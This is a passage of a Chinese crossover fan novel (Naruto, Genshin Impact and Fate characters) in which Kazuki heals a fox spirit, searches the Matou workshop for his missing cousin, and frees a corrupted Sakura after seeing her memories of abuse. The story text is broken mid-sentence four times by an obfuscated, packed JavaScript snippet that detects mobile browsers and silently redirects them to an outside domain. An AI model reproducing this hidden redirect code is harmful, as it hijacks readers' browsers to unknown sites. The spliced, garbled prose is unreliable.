说到这里,巫女秀美的脸上闪过一抹羞赧的绯红,衬得她浓艳的眉目愈发娇艳可人,却看得一树整个人都要掉色了:留他们两个人在屋外,鬼知道散兵还要对她说什么可怕的话,问题是从对方的记忆来看,那位自闭的雷神和这位将来位高权重的八重宫司,并没有什么超出界限的关系啊!散兵似乎也是受他的瞳术的影响,才有了一些原本没有的乱七八糟的想法…… 可是为什么啊!明明他设置的幻境和对方的过往经历已经称得上是毫无关系了,只是用了两个他认识的人来完善整个场景而已!这家伙居然是这么容易被洗脑的类型吗?他加入愚人众不会也是被人骗了吧?! “不行!还是让我先把他的链接解除了吧!”为了拯救面前的无辜人士,一树义正言辞的推开她,刚要朝着散兵跑过去,就被一条粉色的狐狸尾巴缠住腰,嗖的扔进屋子,然后啪的关上了门。 一树:“……” 啊啊啊……希望萤大人保佑,不要再出现什么奇怪的情况了! 察觉到不去面见狐斋宫,神子绝不可能放他出去以后,一树立刻调转方向,直直的冲进了内室。在走过一条略显阴暗的长廊以后,伴随着两声清脆的铃声,两扇纸门在无人拉扯的情况下向两侧打开,一树抬脚踏入其中,抬眼一看,只见许许多多的樱花自屋顶絮絮落下,如梦似幻的铺了满地;侧卧在满地花瓣之中的,是一只身形优美的巨大白狐,察觉到一树的到来,它原本枕在交叠的前肢上的头颅缓缓抬起,原本紧紧贴在头顶的耳朵也竖了起来,睁开了一双星辰一般耀眼的金色眼睛。 “哦呀,我原本以为,来的会是只狐狸宝宝呢。”这只美丽的白狐轻声细语的开口说道。“可爱的小家伙,你身上好浓的狐狸味,有只同族深深的、深深的爱着你,想要一直守护你哦。” “诶……”闻言,一树先是一怔,随后整张脸都因为激动而变得红扑扑的——对方话里的狐狸,他当然知道是哪一个啦! 没办法,九喇嘛就是这么爱他嘛。 “我从出生开始,就跟在九喇嘛身边了,我是九喇嘛养大的孩子,所以说我是狐狸宝宝也是可以的哦!”他故作镇定的说道,一边不由自主的伸手拨了拨额前的头发,露出一个有些洋洋得意的表情来。 不过很快,他就收敛了神色,走到白狐身边坐下,将手轻轻搭在它那仿佛闪着光的雪白的皮毛上。 “斋宫大人……你、你伤的好重啊。” ——不祥的黑色的痕迹从白狐的颈侧蔓延而下,一直贯穿了它的半边身体。漆黑的灾厄如同活着一般在它银亮的皮毛上缓缓流淌着,一点一点的吞噬着它的生命。 这美丽的大妖,正在逐渐死去。 光是明白这一点,就让一树感觉到心口一阵细微的疼痛。他伸出手,想要抚上那蠕动的黑影,但在他的手指即将触碰上去的那一刻,白狐抬爪挡下了他的手。 “我叫你来这里,只是想要见你一面,不是想让可爱的孩子受到伤害的哦。你站在这里,就让我很高兴了。”它温柔的说道。“所以,你不要碰这个。” “但是……也许,我能治好这个呢?”一树嘟囔着说道。“难怪神子这么急着让我来见你……原来她最想要的,是让我治好你啊。” 虽然,把这么严重的事情托付在一个刚刚见面的人身上,光是想一想,也觉得异想天开。 但是,对于渴望得到拯救的人们来说,哪怕只有一点点希望,他们也会像溺水的人抓住水中浮木一般紧紧抓住的。 “你还是个孩子呢。”白辰主母轻快的说道。如果不是它的确有想知道的事情,它甚至不会让这个被钟爱的孩子走进这间屋子。“既然你们是从五百年后来到这里的,应该明白我想问的是什么吧?” “呜……”一树很想说,他打从穿越以后,其实根本没有到达过五百年后的稻妻,这件事问散兵更合适吧! 然而想想对方因为自身经历,而对稻妻充满怨恨,大概也说不出什么好话,他就没有推辞,而是平铺直叙的把散兵的记忆全部陈述了一遍——反正,那的确也就是未来稻妻的现状了。 “鸣神大社多了一棵神樱树啊……”但狐斋宫并没有在意他说的其他种种事情,它只是喃喃自语般重复着一树的这句话,随后,白狐直起身体,昂着头,似乎是想要透过窗户,看向身在远方的某个人。 片刻后,它垂下长长的眼睫,露出了淡淡的微笑。 “谢谢你……让我知道,她最终还是回到了这里,那我便没什么可担心的了。或许,影会因为痛苦,而产生一时的偏移,但是我相信……她总是会指引她的。” 谁和谁?一树完全是有听没有懂。不过看它的态度,想来也并不是一件坏事,因此他只是盯着狐斋宫的动作,在它低下头看向自己的时候,猛地发动了写轮眼! “!” 如果换做是平时,他的左眼瞳术链接在狐斋宫面前只能称得上是幼稚的游戏,但白狐此时心神震荡,有那么一瞬间,的确陷入了他的幻术之中。趁此机会,一树一边发动右眼的瞳术祓除,一边把手伸进了那一片诅咒一般的黑暗之中。 * “……你在做什么?” 一大早就被从床上蹦起来的一树按住双手压在枕头边,散兵没有反抗,亦没有移开眼睛,只是整好以暇的看着他低下头,用那双猩红的写轮眼仔细打量自己的双眼。 随后,一树长长的松了口气,松开了禁锢他的手。 “你想起来了?”人偶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951944|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敏锐的察觉了一树想要探查的事情,忍不住朝他露出一个讥讽的微笑。“你居然以为,我到现在还处在你的‘链接’之中吗?别忘了,你的眼睛曾经有段时间在我身上,所以,我也可以使用你的力量,怎么可能让你一直操控我。” “……那可真是太好了。”一树这样说着,眼睛从猩红转回了平静的湛蓝,有些恼怒的瞪了他一眼。“但感觉你也并没有吸取教训……居然还敢这么盯着我的眼睛看。” “那本来也是属于我的,看看怎么了?”散兵好笑的偏着头看向他。他在一树清澈的眼睛里清楚的看到了自己的倒影,因而感觉心满意足——如果连看他的眼睛都不敢的话,面前的人,还能看到自己吗? “……”一树犹豫了一下,还是继续问道:“那个,狐斋宫大人……它过世了吗?” 什么嘛,居然才想起这么久之前的事。散兵有些无语,不过,看在今天自己心情不错的份上,他坦率的回答道:“那就要让你失望了,虽然总是吵吵嚷嚷着要退休,但那只大狐狸因为过于坏心眼,被黄泉拒收了,所以至今仍然在鸣神岛上逗猫惹狗,无恶不作呢。” “啊!”他毫不意外的看到一树的脸一下子亮了起来,全然掩不住高兴的情绪。“那真是太好了!我梦到,它被奇怪的黑暗污染了,但我刚刚碰到那片黑暗,想要试试看,能不能治愈它,就从梦里醒过来了……” “你当然治好了她,毕竟净化本来也是你的瞳术之一。”另一位当事人懒洋洋的回答道。“原本在你启程回家以前,还向她承诺,会尽快把你一直挂在嘴边的九喇嘛带去和她见面呢。可惜,你一直都是个说话不算话的小骗子。” “我才没有说话不算话呢,我只是回来以后忘记了嘛!”一树下意识的反驳道,却也对他的说法颇有些心驰神往。“真是美好的约定,我一定会说到做到的,毕竟,九喇嘛肯定也会喜欢斋宫大人的啦。” 话又说回来,回想起这段遗失的记忆以后,他也算是明白自己带回这个世界的金羽发饰和人偶是从何而来了,那根本都是出自面前的人之手嘛。一树心说自己存放起来的最后一个吊坠不知道是不是也是他送给自己的,又代表了什么含义呢,刚想开口向散兵发问,就听到一阵急促的敲门声响了起来。 “一树少爷,抱歉打扰您了。”管家的声音自门外响起,虽然极力克制,仍透着难以掩饰的焦虑。“有件事情,我必须马上告知您,我能进来吗?” 他当然知道这屋子有英灵留守,是以根本不担心一树不会回应,果然,片刻之后,穿着睡衣的一树就打开了门,正色询问道:“出什么事了?” “修一少爷失踪了。”管家沉着脸道。“他没有按照既定的行程回来,我们的人在河边找到了他的车和司机的尸体……可以劳烦一树少爷,看看能不能找到他吗?” 33.第三十三章 根据修一留下的最后一通电话,他于深夜三点启程,乘车从酒店返回家中,打算在十二点和一树共进午餐,顺便聊聊他昨天做了哪些事。然而等到时间过了六点,还没看到主人返回家中,管家立刻意识到不对,主动派出家里的护卫前去接他。 他们并没有找到人,只在护城河边发现了被砸得支离破碎的汽车和司机残缺不全的尸体,对方生前似乎遭受了极大的惊吓,扭曲的面容透露出极度的痛苦,鲜血淋漓的残肢上残留着古怪的黑色液体,本应坐在汽车里的宇智波修一则是不知去向。 好一点的结果是,他此刻还活着,只是被人强行掳走,坏一点的结果则是,他其实也被夺走了性命,只是对方出于某种目的,连他的尸体都一并带走了。 “其实这几天,陆陆续续都有夜间杀人事件发生,只不过死的都是些不重要的小混混和流浪汉,您又还有正事要处理,所以我们没有特意向您禀报。”管家陪着一树来到护城河边,一边低声向他讲述了前因后果。“但主人的能力,和这些普通人不能同日而语,所以……” 一树对他们藐视普通人性命这件事倒是没什么意见,毕竟他其实也早就习惯了,他只看了看那具尸体,随后便打断了管家的发言,沉声询问道:“昨天,修一哥先去见的是远坂家还是间桐家,你知道吗?” “是远坂。”管家十分肯定的回答。“他从远坂家回来的时候,还给我打了电话,说是交易一切顺利,晚上要和您一起吃烤羊排庆祝,如果不是临时改变了行程的话——!” 那就是间桐家更可能有问题了。一树抿了抿嘴唇,将目光投向管家的身后——一个身材高大的男人从刚刚抵达的轿车上走下来,朝他微微点了点头:“一树少爷。” “真司哥。”这位同样出身宇智波的族兄,也在上一次圣杯战争和一树有过照面,看来是被家族指派过来找人了。两个人简单打过招呼之后,一树苦笑着对他说道:“隆叔叔一定很担心吧?” 宇智波隆即为宇智波修一的父亲,也是木叶的上一任火影。虽然在魔术上并无太多建树,但这位族叔至今仍然在木叶的政坛中活跃,也是家族中十分重要的一块基石。 “叔父日前身在巴黎,家里并没有把这件事告诉他。”真司淡淡的说道。比起修一,他性格更加内敛,却也带着种能结束一切的沉稳气质。“不过,我也没想到,你会把事情怪在自己身上……且不说修一那家伙原本就比你年长,想要帮助你这件事,也是他自己提出来的,搞砸了也是他自己的问题,请不要放在心上。” “可是,那具尸体上残留着圣杯里盛放的黑泥,动手的人肯定是御三家之一……” 他在尽力想要保护其他御主的性命,这些人却毫不客气的伤害到了他重视的家人,这种荒谬的痛楚让一向好脾气的一树也不禁咬牙切齿起来。真司看着他脸上郁闷的神情,不由伸出手,轻轻拍了拍他的后背:“安心吧,修一一定还活着。” “……你怎么知道的?” “因为他不是会在这里止步的男人。如果他这么轻易就死了的话,我下到黄泉地府也不会放过他的。”真司掏出手机看了看时间。“现在去间桐家吗?” “好。” 即使是在大白天,这座被无数植物遮掩的古老宅院仍然显得阴气森森,充满了沉沉暮气。全然没有征询主人意见的意思,真司直接踹开大门,一马当先的冲进了二楼,大宅里安安静静,甚至没有人出来喝止这几个不请自来的不速之客,他在楼上找了一圈,皱着眉回到在楼下搜寻的一树身边:“间桐慎二死了,尸体就在楼上的房间里。” “诶?是修一哥动的手吗?”一树下意识的询问道。如果他们在这里打过架的话,至少说明宇智波修一曾活着被带到了这里,但奇怪的是,他是怎么越过对方的从者杀死御主的呢? “不,他的死亡时间在司机之前,身上也没有修一的魔术痕迹,看来先出事的是间桐家。”真司说道。“这个家里应该还有两个人存在,间桐慎二的祖父间桐脏砚和妹妹间桐樱,问问他们有没有发现什么吧。” “但他们似乎不在屋子里。”一树低下头看了看地板。“……要去地下的魔术工房吗?” 对于魔术师来说,踏入屋子还不算什么,随意踏入对方的魔术工房,那就真的是撕破脸了。 “毕竟是为了我们修一,顾不得那么多了。”真司面不改色的回答道。其实他心里没有半点羞愧的情绪,因为在他看来,如今的间桐家根本没有那个价值得到他的尊重,会这么说,只是顾忌一树的迟疑罢了。 秀幸大人,真是教出了一位好奇怪的继承人呢。他在心里暗暗想到,明明实力那么强大,性格却又那么温柔,对于一个魔术师来说,这真的是一件好事吗? 不过,在一树用写轮眼强行打破魔术工房外设置的结界,散兵用风刃清理完几波自四面八方袭来的虫子伏兵,三个人一同走进工房深处,看清了整个工房的模样以后,一树骤然发出一声惊恐的尖叫,迅速转过身,将头埋进了跟在他身后的散兵怀里。 散兵望着眼前的一切,搂着他颤抖的背脊,眼睛也不由像猫儿一样瞪圆了,片刻之后,他露出十分厌恶的表情,越发抱紧了一树,让他不用去面对那恶心而扭曲的一幕。 ——出现在他们面前的,是一个巨大的深坑,其中挤满了各式各样的虫子,正一刻不停的彼此撕咬、彼此残杀着。在坑洞四周的石壁上,还以人力凿出大小不同的孔洞,其中存放着一些别样扭曲的虫子。整间工房内一刻不停的回荡着虫子啃咬物品的沙沙声,更为这座黑暗工房涂上了一抹诡异的阴暗。 “害怕的话,先回上面也是可以的哦。”眼看他转眼就战斗不能,真司无语的同时又觉得有些好笑。他一边说,一边脱掉皮衣外套,露出一身紧绷的黑色短袖,眼看他伸手解开了腰间的皮带,散兵顿时警觉的开口道:“你要做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957116|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么?” “下去找找,说不定修一是被扔下去了。”真司平静的说道,把裤子也脱了下来。“如果他真的在这里……至少,我要带回他的眼睛。” “什么?可那根本没有意义啊!”闻言,一树吓得也没那么害怕虫子了,立刻扭头试图阻止他。“修一哥并没有开启万花筒写轮眼!我们家也很多年都没有遵循要把死者的眼睛下葬的习俗了吧!何况那些虫子、那些虫子……” “真是的,我还以为,你早就看出来了呢。”真司忽然打断了他的话。“毕竟你在这方面一向很敏锐嘛。” “诶?”一树先是不解,随后,他露出恍然大悟的神色来,突然就明白了对方话语里的真意。 “如果顺利的话,本来我会在一两年后,得到一枚来自修一的戒指……但如果他死了,我就什么都得不到了,所以,我只是要拿回属于我的东西。”真司这样说道,自见面以来一直显得游刃有余的脸上,终于露出了一个有些苦涩的微笑。“抱歉,一树,我对你撒谎了,其实,我也不是那么肯定他还活着。” 只是,如果连他都不能坚信对方仍存在于这世上,又还有什么理由能让自己继续寻找他呢? 话音未落,他漆黑的眼睛转变为了猩红色的永恒万花筒写轮眼的形态,深蓝色的须佐能乎拔地而起,天狗的虚影张开手臂,将他护在其中,随后,他猛地转过头,跳下了深深的坑洞。 满地的虫子被他的动作惊得猛地炸开,随后又被他身上的魔力吸引,开始一团团的往他身上蠕动,不过它们身上依附的魔力无法突破须佐能乎的防御,只能徒劳的攀附在天狗身上,不断吸取着其中的魔力,天狗的虚影只是挥动手中的薙刀,虫子的尸体便如雨般簌簌落下,但很快又有新的虫子攀附而上,啃咬的沙沙声越发急促起来,听得人心口一阵阵发慌。 坏消息是,真司的确在虫池下方发现了不少人类的尸骨,好消息是,这些人都死了太久了,不可能是刚刚失踪的修一。想来是间桐家一直在用身怀魔力的人类喂养这些虫子,才会留下这么可怕的遗骸。 得到了答案,真司很快便从虫窟里爬出来,给自己施加了好几个清洁魔术和净化术。一树操纵着木遁撕开他手臂上的肌肉,把通过手掌进入他血肉的虫子硬生生抓了出来,随后为他治愈了撕裂的伤口。见他脸色比受伤的自己还要难看,真司还笑着安慰了他:“看来,抓走他的人很清楚他的价值,打算留着他来威胁我们呢,下次见面的时候,你就可以狠狠嘲笑那个一贯臭屁的家伙了。” “修一哥哥对我很好的,一点也不臭屁啦。”一树不高兴的反驳道。“让我知道到底是谁这么折磨你们,我一定——” 话音未落,他和真司的手机就同时响了起来,两个人对视了一眼,快速接起电话——管家在电话另一头激动的告知他们,家族探测到了大规模的魔力暴动,地点正是伊莉雅居住的,爱因兹贝伦家位于郊区的城堡! 34.第三十四章 因着事出紧急,为了尽快赶到现场,散兵干脆一手拎着一个人飞上天空,直接运转空居力飞去了城郊。 刚刚抵达城堡上空,便已能看到剧烈碰撞的魔力将整个城堡摧毁了一半,一树注意到中庭的对战双方分别是Berserker、Rider和换了装束、浑身充满了邪恶气息的Archer和Saber,花园里的则是受伤的卫宫士郎、倒地不起的远坂凛、伊阿宋和一身黑衣、神态明显不正常的间桐樱,顿时觉得头大如斗,不明白明明这次自己采取了如此温和的手段,御三家却自己陷入了如此激烈的内斗,到底是怎么回事。 “不过我算是明白了一件事……”他咬牙切齿的说道。“之前我就在想,御三家到底怎么能如此互相信任,把开启圣杯的钥匙完全交给爱因兹贝伦操控……结果,间桐家根本也在搞小圣杯嘛!” 甚至美杜莎的令咒明显转移到了小圣杯的身上,所以她才能在御主间桐慎二死去以后,继续存在在这个世上……不过,间桐家制造圣杯的实力明显不如爱因兹贝伦,看她那副模样,应该是被污染的圣杯影响了。 “很麻烦吗?需要我叫家里人来此增援吗?”真司立刻谨慎的询问道。 “不用了。小圣杯也不是万能的,终究要依靠地脉的力量,这个时候只需要……这么做!” 坐在地上,抱着失去意识的远坂凛的伊莉雅身体猛地一僵。 就在刚才,她感觉自己和地脉的联系被整个切断了。原本身为小圣杯的她,可以无休止的从地脉中汲取魔力,供给给英灵使用,是以比起需要自己提供魔力的御主,天然就更胜一筹。但是这份联系一旦被切断,Berserker能够使用的,就只有她自身的魔力了。 幸运的是,作为回收英灵、开启大圣杯的钥匙,她原本就是容纳魔力的器皿,魔力一时半会不会用尽;更幸运的是,对面的间桐樱明显也受到了同样的影响,空洞的脸上闪过一丝不知所措的表情,似乎当那具身体不再被污染的魔力充满的时候,她的本性就从黑泥下面浮现了出来。 “士郎!”她立刻叫出了挡在身前的弟弟的名字,示意他抓紧机会攻击,然而被呼唤的人盯着樱迷茫的脸,原本警惕举起的手却放了下来。 “樱,你是不是……” 他话音未落,一道圣光就从天而落,将樱整个人拢入了其中。耀眼的光线遮挡了所有人的视线,只听得少女凄厉的惨叫同时响起,似乎那耀眼而圣洁的光芒要就此将她吞没,让她彻底融化在其中! “樱!”士郎下意识的冲上前去,想要把她从圣光中拉出来,然而一树已经从天而降,直接挡在了他的身前,伸出一只手臂拦住了他:“你做什么?” “别伤害樱!”士郎朝他高声叫道。“她只是被间桐脏砚设计,被此世全部之恶污染了心智,才会变成这样……” “就是因为这样,这个魔术对她的伤害才会那么高呢。”一树耸了耸肩。“抱歉,我其实无意伤害她,不过她虚弱一点,外面那两个从者也就使不上劲了,也稍微为为了你们奋斗的Berserker和Rider考虑一下吧。” 等等,Rider不是间桐家的从者吗?为什么却和赫拉克勒斯是一边的?难怪刚才他觉得好像有哪里不对。 ……难道,是对方在失去意识之前,用令咒命令从者要跟随士郎吗? 自己只是睡了一觉,不是睡了一个月吧,昨晚到底发生了多少事啊! “……反正,我不会杀她,但是,我有一个问题要问她。”想到失踪的修一,一树原本变得柔软的心又一次硬了起来。他单手结印,三道朱红的鸟居从天而降,直直压在圣光褪去以后的樱身上——少女虚弱的躺在地上,黑泥好似流水一般,从她的身躯各处缓缓流出,一树示意自己的两位从者散兵和伊阿宋不要靠近,随后走过去蹲在她身边,叫出了她的名字:“间桐樱。” 他看到樱的手臂抽搐了一下,睫毛颤抖着,好不容易才勉强睁开眼睛,迷茫的看向自己——在目光交汇的刹那,一树对她发动了瞳术。 他原本只是想看看昨晚修一拜访间桐家的前后经过,不想樱因为情绪崩溃,这具躯体几乎就是一具无魂的空壳,根本无力抵抗他的意识,因此直接看到了樱最初的记忆——她曾经是个非常可爱,非常幸福的小女孩,和爸爸妈妈,还有姐姐生活在一起。 然而有一天,爸爸告诉她,她不再是这个家里的人了。他牵着她的手,把她交给一个总是用冰冷的目光注视着她的小老头,于是从那时开始,她失去了家,从远坂樱,变成了间桐樱。 在那之后的记忆,充满了黑暗、恐惧和各种各样的虫子,看得一树十分反胃。樱一开始还会哭闹反抗,但她很快就明白,爸爸不会出现,妈妈不会出现,姐姐更是不会来到这里,没有任何人会救她,因此变得如同玩偶一般不哭不闹,无论间桐脏砚做什么,都不再给出任何反应。 其实,不是没有人试图拯救她。上一次圣杯战争中,间桐脏砚的儿子间桐雁夜和父亲约定,如果自己能取得圣杯战争的胜利,间桐家家主就要放过樱,把她送回远坂家,为此,他不惜让脏砚用刻印虫改造自己的身体,以取得成为御主的资格。 但对小女孩的善心和爱护,并不足以支撑他战胜不可战胜的对手。他离开家以后,就再也没有回来,那句会来接樱的承诺,也自此成为了空谈。 在他死去以后,这个冰冷的家里就只剩下了间桐脏砚、间桐慎二和樱自己。没有魔术回路的间桐慎二嫉妒樱拥有魔术师的才能,越过他成为了间桐家的继承人,因而对她非打即骂, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960984|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有那些惨无人道的侵害……圣杯战争结束以后,间桐脏砚还用大圣杯遗留下的碎片作为触媒培养出新的刻印虫,并将其植入樱的体内,以此将她改造成了小圣杯,他肆无忌惮的摆弄着她,就好像摆弄一个随时可以舍弃的玩具一样,没有任何怜惜或者爱护的意味。 不过,在此之后,樱灰暗的记忆终于出现了一抹亮色,就像沉寂了一个冬天的樱花终于在春日绽放。间桐脏砚派她去监视卫宫切嗣的养子卫宫士郎,让两个原本陌生的人就此靠近,为了方便樱能随时往来自己的屋子,士郎给了她一串钥匙——借由这串钥匙,少女终于抓住了一丝希望的辉光。想要留在他身边,想要和他在一起……抱着这样小小的愿望,她虔诚的向神祷告着。 ——然后,重启的圣杯战争很快就把这一切的平静重新打破了。卫宫士郎成为了御主,远坂凛的出现,一树的登门拜访,还有英灵在不断消耗着她的魔力……这不断发生的一切都给樱带来了极大的压力,只有每日梦中,她才能放下所有的哀愁,品尝甜美的点心,和玩偶们一起快乐的跳舞。 行吧,一树完全明白了。此世全部之恶(安哥拉曼纽)趁乱夺取了她的意识,在梦境中操纵她杀人吸取魔力,樱对自己做了什么并没有清晰的认知。他继续往后看去:虚假的主从关系并不能满足间桐慎二,反而让他感觉更加空虚,所以他选择再一次对樱施暴,但这一次,心中怀抱着对士郎的爱意的樱选择了反抗,并且在激动中,不小心将他杀死了。 这件事彻底击溃了她原本就已濒临崩溃的意识,让此世全部之恶顺利占据了她的身体,后面的记忆就全是断断续续的梦境片段了,除此以外最清楚的是士郎的脸,因为樱无论如何都只想和他在一起。没能从她的记忆里找到自己最想知道的内容,一树也是十分抓狂:他只是想知道修一到底是死是活,但为什么每次到了关键地方,事情就开始变得扑朔迷离了呢?! 樱显然给不了他答案。但在从她的意识中抽离之前,一树还是为她制造了一个虚幻的美梦:在梦中,从来没有什么从天而降、扰乱比赛秩序的小宇智波,间桐雁夜赢得了第四次圣杯战争,然后把樱从父亲手里夺走,送回了远坂家。远坂时臣当然也没有死在自己召唤的英灵的手上,他把女儿们搂在怀里,像世上所有爱着自己孩子的父亲一般亲吻她们的脸颊,发誓一家人再也不会分开。 于是,樱在父亲和姐姐的爱护下,幸福快乐的长大了,并在学校里偶遇了学长卫宫士郎。对方对她展开了猛烈的追求,发誓会永远爱护她、保护她,做她一个人的英雄。他们约定在下一个春天一起赏樱,那一天会有很多很多温暖的阳光,很多很多甜蜜的点心,紧紧牵在一起的手和两颗挨得紧紧的心。 春天总会来的。 春天马上就来了。 35.第三十五章 链接完成以后,一树解开了束缚樱的明神门。少女静静躺在地上,脸上的表情已由之前的痛苦变得平和安宁。 他后退了两步,抬手施展了一个净化术,将满地乱流的黑泥清理一空,这才把位置让给士郎,让他能走过来抱起樱。见形式已经完全被一树掌控,一直盯着他动作的伊莉雅也不由松了口气,原本紧绷的身体跟着放松下来。 随后,她听到一阵沉重的脚步声,转头一看,却是赫拉克勒斯回到了她的身边。 “Saber和Archer都已经离开了。”希腊的大英雄帮忙抱起了凛,让伊莉雅能从地上站起来。“我就猜一定是宇智波来了。” “来得正是时候啊,御主,刚才差点以为我要死在这里了呢!”伊阿宋也很激动的迎了上去——刚才他还在绞尽脑汁的思考,怎么在牺牲最少的情况下把伊莉雅送走,不过在自家御主出现以后,这些事就不用他操心了,毕竟,有那么厉害的御主顶在前头,那么自己只要躲在他身后不就好了! ——不过,在他走到一树面前,看清楚年轻人低垂的眼睛里饱含的眼泪时,顿时吓得花容失色:不是吧?为什么他会是这样一副表情啊?难道刚才,不是他轻而易举的解决了对手吗?! 还、还是说,其实暗地里,还有更大的麻烦在等着他们,只是自己不知道? 这样想着,伊阿宋左右看了看,迅速退回到伊莉雅身边,紧紧挨着赫拉克勒斯站着,这才觉得自己砰砰直跳的心脏好受了许多。 和他比起来,散兵则更清楚一树时不时就会情绪失控的麻烦个性,当即用双手抓着他的肩膀,把他整个人转过身来,让他背对着众人,随后气急败坏的在他耳边低声说道:“你不是要在这里哭吧?喂,这也太难看了!所有人都会笑话你的!” “……唔姆,我想要带土大人在这里。”一树吸了吸鼻子,勉强忍不住了眼泪。一想到修一此时可能遭受的折磨,自己却对他的行踪毫无头绪,他就止不住的一阵伤心。 “他的写轮眼和宝具难道会对这件事情有帮助吗?”散兵没好气的反问道。 “……没有。”一树叹了口气,因为他根本不需要这么做嘛!自己只是想扑到带土怀里,被他抱着痛哭一场而已。 但带土毕竟不在这里。没办法和先祖撒娇,他只能抬手揉了揉眼睛,努力调整情绪,勉强摆出一副若无其事的模样,这才转头对士郎说道:“我暂时唤醒了她沉睡的意识,让她不必受到安哥拉曼纽(此世全部之恶)的操控,但这并不是长远之计。想要她不再变成刚才那副模样,还是得赶紧把她祖父种在她身体里的刻印虫从她身体里取出来才行。” “你能做到吗?”闻言,士郎有些激动。他其实并不十分清楚樱身上发生了什么事,但却已经在心里决定要好好守护她,是以此时十分急切的朝着一树看了过去。 “我对虫魔术几乎一窍不通。”一树诚实的摇了摇头,尽管时钟塔有相关的课程,但他出于个人喜好,自然是没去学的。“而且,那些虫子植入她的身体,实在太久太久了,恐怕早已深入神经,不能随便操作。等回去以后,我问问我爸爸,看看他有什么提议吧,他见多识广,说不定以前曾经见识过同样的事情呢。” “谢谢你。”对于他的好意,士郎真诚的表达了感谢。虽然凛对他说过,一树既然是圣杯战争的参与者之一,那就是他们的对手,出于彼此不同的立场,最好不要完全相信他说的话,但两次见面,对方先是帮他解开了和伊莉雅之间的误会,让他找回了切嗣昔日最重要的珍宝,今天又帮助他制止了被操控的樱,无论怎么看,都是真诚且不求回报的友好,所以他也愿意对其付出信任。 “她……过去过得很辛苦哦。”一树有些踌躇的说道,下意识的看了躺在赫拉克勒斯的手臂上人事不省的凛一眼。远坂家的人,到底知不知道樱去到间桐家以后会遭遇些什么呢?虽然凛当年也还是小孩,但一树心里也清楚,很多家族从继承人还是孩子的时候,就不会把他们当成孩子看待了。 “在她身上,曾经发生过一些很不好的事情……”他有心告知士郎自己看到的樱的记忆,却又觉得这些私密的事情,由他们小情侣私底下彼此坦白会更好,毕竟,如果他们不能彼此信任对方,诚实的面对自己的内心的话,就算是外人一时插手,恐怕也是难以长远的。“她之所以会被此世全部之恶(安哥拉曼纽)蛊惑,是因为她很害怕被你知道那些事,如果可以,等她醒来以后,你们好好谈谈吧。” “我会的。”这么说着,士郎朝他露出了微笑。似乎从他的笑容中感觉到了他的决心,一树的脸色也稍稍和缓了下来。 “也或许,还有一个简单的办法。”这个时候,伊莉雅走到了他们中间。面对两个男生投过来的疑问的目光,银发少女耸了耸肩,把手背在身后,直率的说道:“之所以此世全部之恶(安哥拉曼纽)能够影响我和樱,是因为自第三次圣杯战争他被召唤以后,就污染了大圣杯,从此和大圣杯共存,而我们都是开启大圣杯的道具,也和大圣杯有所联系。那么,只要大圣杯不复存在,他自然也找不到依附的土壤,又如何能从英灵座上影响我们呢?” 虽然并没有坦率说出自己的想法,但她说这句话的意思,显然就是认可了一树之前的提议,要背弃家族的期望,选择帮助一树终结圣杯战争了。 此言一出,一树顿时双眼一亮:“对啊!只要没有大圣杯就好了!但是……” 虽然这是他一开始就决定好的事,并且此时也并没有改变想法,但想到生死不知的修一,他还是难免有些踌躇:把修一放着不管,先去处理大圣杯的事,这样真的好吗,活人当然比那个不会动的许愿机重要多了。 不过转眼间,他就想明白了其中的关窍——一切的源头,不全都是因为大圣杯嘛! 如果不是他卷入了圣杯战争,修一不会出于好意帮他去跟远坂家和间桐家的魔术师交涉,就不会因此失踪; ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14983054|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更何况如今远坂家的继承人约等于已经出局,爱因兹贝伦也全无再插手此次圣杯战争的迹象,否则他们不会至今没派族人踏足木叶,那么,作为御三家中的最后一家,间桐脏砚会坐视他毁掉大圣杯,让三个家族几百年来的努力就此付之一炬吗? 